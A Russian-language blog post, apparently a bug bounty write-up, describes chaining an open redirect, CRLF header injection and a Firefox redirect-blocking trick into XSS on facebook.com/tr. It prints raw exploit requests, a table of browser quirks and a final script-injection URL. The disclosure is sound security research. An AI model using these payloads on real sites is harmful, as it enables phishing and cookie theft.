Будни багхантинга: еще одна уязвимость в Facebook



    Декабрь для меня получился наиболее удачным за четыре года участия в разнообразных программах bug bounty, и я хотел бы поделиться информацией об одной из обнаруженных уязвимостей. Речь пойдет о небезопасной обработке Request-URI (Request Target). На этот раз красивой комбинацией уязвимостей порадовал Facebook.

    Разработчики привыкли не доверять данным, полученным от пользователя через параметры GET / POST / Cookie, но зачастую игнорируют тот факт, что опасные данные могут содержаться и в других частях HTTP-запроса, например, в пути к сценарию или path_info. Для автоматизации обнаружения таких проблем был написан небольшой плагин для Burp Suite, который прослушивает все запросы Burp Proxy и, если URL находится в определенном скоупе, повторяет оригинальный запрос, изменяя только Request-URI.

    То есть, для запроса:
    GET /foo/bar.baz?param=value HTTP/1.1

    Будут отправлены такие повторы:
    GET /3fb5e7a4f814d790'"<>/%2e%2e/foo/bar.baz?param=value HTTP/1.1
    GET /foo/3fb5e7a4f814d790'"<>/%2e%2e/bar.baz?param=value HTTP/1.1
    GET /foo/bar.baz/3fb5e7a4f814d790'"<>/%2e%2e/?param=value HTTP/1.1
    GET /foo/bar.baz/3fb5e7a4f814d790'"<>?param=value HTTP/1.1

    В случае, если в HTTP-ответе присутствует случайная строка из запроса или текст какой-либо ошибки, то запрос складывается в лог, который потом разбирается вручную. В качестве списка ошибок можно использовать слегка измененный список из fuzzdb.

    Выглядит это все примерно так:


    Как и многие другие интересные и неожиданные уязвимости, проблемы на сайте Facebook я обнаружил случайно. Когда я участвовал в программах bug bounty от Яндекса и Mail.ru, на одной из посещенных страниц оказался запрос к сценарию www.facebook.com/tr (сценарий, относящийся к рекламе для веб-сайтов). Данный запрос был успешно проверен плагином и в лог попала запись о выводе Request-URI в HTTP-ответ.
    GET /test/%2e%2e/tr HTTP/1.1
    Host: www.facebook.com
    
    HTTP/1.1 301 Moved Permanently
    Location: /test/../tr/

    В первую очередь при таком ответе необходимо обратить внимание на следующие моменты:

    1) Request-URI стоит в начале ссылки для перенаправления, значит необходимо проверить Open Redirect через URL без указания http-схемы (например, Location: //evil.com/../tr).
    2) Путь не был нормализован, но точки в ответе прошли URL-декодирование, значит тут может быть CRLF Injection за счет декодирования символов %0d%0a.

    Проверяем следующие запросы:
    GET //////www.google.com/%2e%2e/tr HTTP/1.1
    Host: www.facebook.com
    
    HTTP/1.1 301 Moved Permanently
    Location: /www.google.com/../tr/

    Facebook успешно урезает начальные «/» до одного, но так как мы имеем URL-декодирование, это легко обходится следующим образом (многие веб-серверы крайне недолюбливают использование URL-кодированных «/» в пути, но в этот раз повезло):
    GET /%2fwww.google.com/%2e%2e/tr HTTP/1.1
    Host: www.facebook.com
    
    HTTP/1.1 301 Moved Permanently
    Location: //www.google.com/../tr/

    Для того чтобы браузер не нормализовал путь и не вырезал добавленную конструкцию при отправлении запроса, необходимо закодировать также и остальные «/». В итоге получен первый вариант эксплуатации обнаруженной уязвимости.

    Open Redirect:
    www.facebook.com/%2fwww.google.com%2f%2e%2e/tr

    Проверяем предположение о наличии CRLF Injection / HTTP Response Splitting и очень удивляемся, что на Facebook, измученном тысячами багхантеров, можно встретить и такое.
    GET /%0aSet-Cookie:xxx=xxx%0aX:/%2e%2e/tr HTTP/1.1
    Host: www.facebook.com
    
    HTTP/1.1 301 Moved Permanently
    Location: /
    Set-Cookie: xxx=xxx
    X: /../tr/

    CRLF Injection:
    www.facebook.com/%0aSet-Cookie:xxx=xxx%0aX:%2f%2e%2e/tr

    На этом моменте я уже хотел писать отчет в Facebook, но мысль о получении заветного alert('XSS') не давала покоя. Основная проблема была в том, что несмотря на возможность переписать тело HTTP-ответа через CRLF Injection браузер не отобразит его из-за того, что инъекция в ответе c кодом 301 и корректным заголовком Location. С похожей проблемой столкнулся автор статьи об XSS на Хабрахабре.

    Конечно, эта CRLF Injection не бесполезная и ее можно попробовать использовать в комбинации с другими уязвимостями типа Session Fixation или для обхода каких-либо проверок cookie-значений… Но неожиданно я вспомнил, что уже задавался подобным вопросом два года назад и даже получил кое-какие результаты. В некоторых случаях возможно заблокировать перенаправление и отобразить тело ответа, испортив значение заголовка Location.

    Opera <= 12 URL-схемы: data, javascript, file, about
    Длинный host: aaa[..256..]aaa/
    Некорректный порт: test:0/
    Некорректные символы: http://*/
    Пустой заголовок
    FireFox URL-схемы, требующие стороннего приложения: resource, mailto, callto, …
    Некоторые порты: test:X/ (X - 1,7,9,11,13,15,17,19,20,21,22,23,25,…)
    Chrome Пустой заголовок

    Как можно заметить, все найденные методы основаны на контроле начала URL для перенаправления. То есть если бы заголовок Location начинался с абсолютной ссылки www.facebook.com, это бы полностью убило возможность поэксплуатировать XSS.

    Объединим все полученные идеи. За счет Open Redirect, описанного в начале, можно указать некорректный порт в ссылке без указания http-схемы. Это заблокирует перенаправление и Firefox отобразит тело HTTP-ответа, которое, в свою очередь, можно подменить через CRLF Injection. Также необходимо отключить X-XSS-Protection и установить правильные значения Content-Type и Content-Length.

    И финальный эксплоит:

    www.facebook.com/%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr





    Информация по схожим темам:
    Метки:
    • +98
    • 45,5k
    • 8
    Positive Technologies 452,84
    Компания
    Поделиться публикацией
    Комментарии 8
    • +5
      Отличная бага и заслуженная награда! Поздравляю :)
      • +12
        Красиво раскрутили, снимаю шляпу!:)
        И во сколько оценили ваше старание по баг баунти программе?
        • +10
          Оценили по достоинству. Как можно заметить из других публикаций, Facebook всегда хорошо оценивает уязвимости, которые получились действительно интересными.
          • +1
            Грац) За инфу с CRLF с location — спасибо.
        • +13
          После таких статей начинаешь думать про свой код и как-то нехорошо на душе становится…
          • +1
            Отличная работа. Достаточно интересная уязвимость)
            • +1
              Отличная работа!
              Так, а уязвимость в каком програмном обеспечении конкретно? Виновен ли веб-сервер: Apache, nginx или самописный.?
              Или же баг конкретно в редиректоре, который делает что-то типа:

              <?php header("Location: " . $_SERVER['REQUEST_URI']); ?>
              
              • 0
                HTTP-ответ с возможностью сделать CRLF Injection отдавал backend. В случае некорректного ответа frontend отдавал соответствующую ошибку. Но что конкретно было причиной возникновения уязвимости, я не знаю.

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое